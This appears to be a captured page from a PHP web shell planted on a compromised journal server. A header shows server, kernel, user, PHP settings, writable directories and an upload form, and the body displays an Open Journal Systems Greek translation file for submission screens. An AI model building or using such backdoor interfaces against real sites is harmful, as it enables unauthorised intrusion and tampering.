KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/locale/el_GR/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/locale/el_GR/submission.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-11-19T10:49:20+00:00\n"
"PO-Revision-Date: 2020-11-17 18:56+0000\n"
"Last-Translator: Evangelos Papakirykou <[email protected]>\n"
"Language-Team: Greek <http://translate.pkp.sfu.ca/projects/ojs/submission/"
"el_GR/>\n"
"Language: el_GR\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "submission.submit.title"
msgstr "Υποβολή άρθρου"

msgid "submission.submit.userGroup"
msgstr "Υποβολή με τον ρόλο μου ως..."

msgid "submission.submit.userGroupDescription"
msgstr "Επιλέξτε την ιδιότητα υπό την οποία υποβάλλετε αυτό το άρθρο."

msgid "submission.upload.selectComponent"
msgstr "Επιλέξτε στοιχείο άρθρου"

msgid "submission.title"
msgstr "Τίτλος άρθρου"

msgid "submission.title.tip"
msgstr "Ο τύπος υποβολής είναι συνήθως 'εικόνα', 'κείμενο' ή τύποι πολυμέσων, όπως 'λογισμικό' ή 'διαδραστικό'. Παρακαλούμε επιλέξτε το πιο σχετικό με την υποβολή σας. Παραδείγματα μπορείτε να βρείτε στο <a target=\"_blank\" href=\"http://dublincore.org/documents/2001/04/12/usageguide/generic.shtml#type\">http://dublincore.org/documents/2001/04/12/usageguide/generic.shtml#type</a>"

msgid "submission.submit.newSubmissionMultiple"
msgstr "Ξεκινήστε μία νέα υποβολή στο"

msgid "submission.submit.newSubmissionSingle"
msgstr "Νέα υποβολή"

msgid "grid.action.workflow"
msgstr "Ροή εργασιών υποβολής"

msgid "submission.abstract.wordCount.description"
msgstr "Η περίληψη δεν πρέπει να υπερβαίνει τις {$wordCount} λέξεις."

msgid "submission.issueEntry"
msgstr "Μεταδεδομένα"

msgid "submission.submit.whatNext.description"
msgstr "Οι συντελεστές του περιοδικού ειδοποιήθηκαν για την υποβολή και σας έχει σταλεί σχετική επιβεβαίωση. Μόλις ο Επιμελητής του περιοδικού ελέγξει την υποβολή, θα επικοινωνήσει μαζί σας."

msgid "grid.action.galleyInIssueEntry"
msgstr "Το τυπογραφικό δοκίμιο εμφανίζεται στη σχετική εγγραφή στο τεύχος"

msgid "grid.action.issueEntry"
msgstr "Προβολή των μεταδεδομένων αυτής της υποβολής"

msgid "submission.publication"
msgstr "Δημοσίευση"

msgid "submission.event.articleGalleyMadeAvailable"
msgstr "Το τυπογραφικό δοκίμιο του άρθρου \"{$galleyFormatName}\" είναι διαθέσιμο."

msgid "submission.event.articleGalleyMadeUnavailable"
msgstr "Το τυπογραφικό δοκίμιο του άρθρου \"{$galleyFormatName}\" δεν είναι διαθέσιμο."

msgid "submission.event.publicIdentifiers"
msgstr "Τα δημόσια αναγνωριστικά της υποβολής επικαιροποιήθηκαν."

msgid "grid.issueEntry.availableGalley.title"
msgstr "Έγκριση μορφοποίησης"

msgid "grid.issueEntry.availableGalley.removeMessage"
msgstr "<p>Αυτό το τυπογραφικό δοκίμιο <em>δεν θα είναι πλέον διαθέσιμο</em> στους αναγνώστες.</p>"

msgid "grid.issueEntry.availableGalley.message"
msgstr "<p>Αυτό το τυπογραφικό δοκίμιο <em>θα είναι διαθέσιμο</em> στους αναγνώστες.</p>"

msgid "grid.action.availableArticleGalley"
msgstr "Αυτό το τυπογραφικό δοκίμιο να είναι διαθέσιμο"

msgid "submission.galleyFiles"
msgstr "Αρχεία τυπογραφικών δοκιμίων"

msgid "submission.proofReadingDescription"
msgstr "Εδώ ο Επιμελητής Διάταξης μεταφορτώνει τα αρχεία που είναι έτοιμα για δημοσίευση. Επιλέξτε τον σύνδεσμο <em>Ανάθεση σε Eλεγκτή</em> για να αναθέσετε τη διόρθωση των τυπογραφικών δοκιμίων στους Συγγραφείς ή άλλους Χρήστες. Τα διορθωμένα αρχεία θα μεταφορτωθούν για έγκριση πριν τη δημοσίευση."

msgid "grid.action.approveProof"
msgstr ""
"Έγκριση αυτού του διορθωμένου δοκιμίου για συμπερίληψη στο τυπογραφικό "
"δοκίμιο."

msgid "grid.action.pageProofApproved"
msgstr "Αυτό το διορθωμένο δοκίμιο εγκρίθηκε για συμπερίληψη στο τυπογραφικό δοκίμιο."

msgid "submission.submit.titleAndSummary"
msgstr "Τίτλος και περίληψη"

msgid "submission.submit.upload.description"
msgstr ""
"Μεταφόρτωση αρχείων της υποβολής, συμπεριλαμβανομένου κειμένου, πολυμέσων, "
"συνόλων δεδομένων κλπ."

msgid "submission.pageProofs"
msgstr "Διόρθωση τυπογραφικών δοκιμίων"

msgid "submission.confirmSubmit"
msgstr "Ειβεβαιώνετε την υποβολή του άρθρου στο περιοδικό;"

msgid "workflow.review.externalReview"
msgstr "Αξιολόγηση"

msgid "editor.submission.decision.sendExternalReview"
msgstr "Αποστολή προς αξιολόγηση"

msgid "submission.event.issueMetadataUpdated"
msgstr "Τα μεταδεδομένα του τεύχους επικαιροποιήθηκαν."

msgid "submission.upload.fileContents"
msgstr "Στοιχεία του άρθρου"

msgid "submission.complete"
msgstr "Εγκρίθηκε"

msgid "submission.incomplete"
msgstr "Σε αναμονή για έγκριση"

msgid "submission.submit.form.localeRequired"
msgstr "Παρακαλούμε επιλέξτε τη γλώσσα της υποβολής."

msgid "submission.submit.submissionChecklist"
msgstr "Λίστα ελέγχου υποβολής"

msgid "submission.submit.submissionChecklistDescription"
msgstr "Πριν προχωρήσετε, πρέπει να διαβάσετε και να επιβεβαιώσετε ότι η υποβολή πληροί τις παρακάτω προϋποθέσεις."

msgid "submission.submit.privacyStatement"
msgstr "Πολιτική Προστασίας Προσωπικών Δεδομένων"

msgid "submission.submit.contributorRole"
msgstr "Ρόλος Συνεργάτη"

msgid "submission.submit.form.authorRequired"
msgstr "Απαιτείται η καταχώρηση τουλάχιστον ενός Συγγραφέα."

msgid "submission.submit.form.authorRequiredFields"
msgstr "Απαιτούνται το όνομα, το επίθετο και η διεύθυνση ηλεκτρονικού ταχυδρομείου κάθε Συγγραφέα."

msgid "submission.submit.form.titleRequired"
msgstr "Παρακαλούμε εισάγετε τον τίτλο του άρθρου."

msgid "submission.submit.form.abstractRequired"
msgstr "Παρακαλούμε εισάγετε την περίληψη του άρθρου."

msgid "submission.submit.form.wordCountAlert"
msgstr "Η περίληψή σας υπερβαίνει τον μέγιστο προβλεπόμενο αριθμό λέξεων για τη συγκεκριμένη ενότητα."

msgid "submission.submit.form.contributorRoleRequired"
msgstr "Παρακαλούμε επιλέξτε την ιδιότητα του Συνεργάτη."

msgid "submission.citationFormat.notFound"
msgstr "Το πρότυπο παραπομπής που ζητήθηκε δε μπορεί να ανακτηθεί."

msgid "submission.metadataDescription"
msgstr "Οι προδιαγραφές βασίζονται στο διεθνές πρότυπο Dublin Core, το οποίο χρησιμοποιείται για την περιγραφή περιεχομένου περιοδικών."

msgid "section.any"
msgstr "Όλες οι ενότητες"

msgid "galley.editPublishedDisabled"
msgstr ""
"Δεν είναι δυνατή η επεξεργασία των τυπογραφικών δοκιμίων αυτής της έκδοσης "
"επειδή έχει ήδη δημοσιευτεί."

msgid "catalog.category.heading"
msgstr "Όλα τα Τεκμήρια"

msgid "catalog.browseTitles"
msgstr "{$numTitles} Τεκμήρια"

msgid "submission.sectionOptions"
msgstr "Επιλογές Ενότητας"

msgid "submission.submit.noContext"
msgstr "Δεν ήταν δυνατή η εύρεση του περιοδικού που ανήκει αυτή η υποβολή."

msgid "publication.selectIssue"
msgstr "Επιλέξτε ένα τεύχος για προγραμματισμό δημοσίευσης"

msgid "publication.scheduleInissue"
msgstr "Εκχώρηση σε Τεύχος"

msgid "publication.unscheduledIn"
msgstr "Αυτό δεν έχει προγραμματιστεί για δημοσίευση σε κάποιο τεύχος."

msgid "publication.scheduledIn"
msgstr ""
"Προγραμματισμένο για δημοσίευση στο  <a href=\"{$issueUrl}\""
">{$issueName}</a>."

msgid "publication.publishedIn"
msgstr "Δημοσιεύτηκε στο <a href=\"{$issueUrl}\">{$issueName}</a>."

msgid "publication.required.issue"
msgstr ""
"Η δημοσίευση πρέπει να εκχωρηθεί σε ένα τεύχος πριν από τη δημοσίευσή του."

msgid "publication.publish.confirmation.datePublishedInPast"
msgstr ""
"Πληρούνται όλες οι απαιτήσεις δημοσίευσης. Αυτό θα δημοσιευθεί αμέσως, "
"επειδή η ημερομηνία δημοσίευσης έχει οριστεί την {$datePublished}. "
"Επιβεβαιώστε ότι θέλετε να το δημοσιεύσετε."

msgid "publication.publish.confirmation.futureIssue"
msgstr ""
"Πληρούνται όλες οι απαιτήσεις δημοσίευσης. Αυτό θα δημοσιευτεί κατά τη "
"δημοσίευση του τεύχους {$issue}. Επιβεβαιώστε ότι θέλετε να το "
"προγραμματίσετε για δημοσίευση."

msgid "publication.publish.confirmation.backIssue"
msgstr ""
"Πληρούνται όλες οι απαιτήσεις δημοσίευσης. Αυτό θα δημοσιευτεί αμέσως στο "
"τεύχος {$issue}. Επιβεβαιώστε ότι θέλετε να το δημοσιεύσετε."

msgid "publication.publish.confirmation"
msgstr ""
"Πληρούνται όλες οι απαιτήσεις δημοσίευσης. Είστε σίγουροι ότι θέλετε να το "
"δημοσιεύσετε;"

msgid "publication.issue.success"
msgstr "Ενημερώθηκαν οι λεπτομέρειες του τεύχους αυτής της δημοσίευσης."

msgid "publication.invalidIssue"
msgstr "Δεν βρέθηκε αυτό το τεύχος στη δημοσίευση."

msgid "publication.invalidSection"
msgstr "Δεν βρέθηκε αυτή η ενότητα στη δημοσίευση."

msgid "publication.datePublished.description"
msgstr ""
"Η ημερομηνία δημοσίευσης θα οριστεί αυτόματα κατά τη δημοσίευση του τεύχους. "
"Μην εισαγάγετε ημερομηνία δημοσίευσης, εκτός εάν το άρθρο είχε δημοσιευτεί "
"προηγουμένως αλλού και πρέπει να το μεταχρονολογήσετε."

msgid "galley.publicationNotFound"
msgstr "Δεν βρέθηκε η δημοσίευση που σχετίζεται με αυτό το τυπογραφικό δοκίμιο."

msgid "submission.viewingPreview"
msgstr ""
"Αυτή είναι μια προεπισκόπηση και δεν έχει δημοσιευτεί ακόμα. <a href=\"{$url}"
"\">Δείτε την υποβολή</a>"

KUNTUL | JINGKONTOT |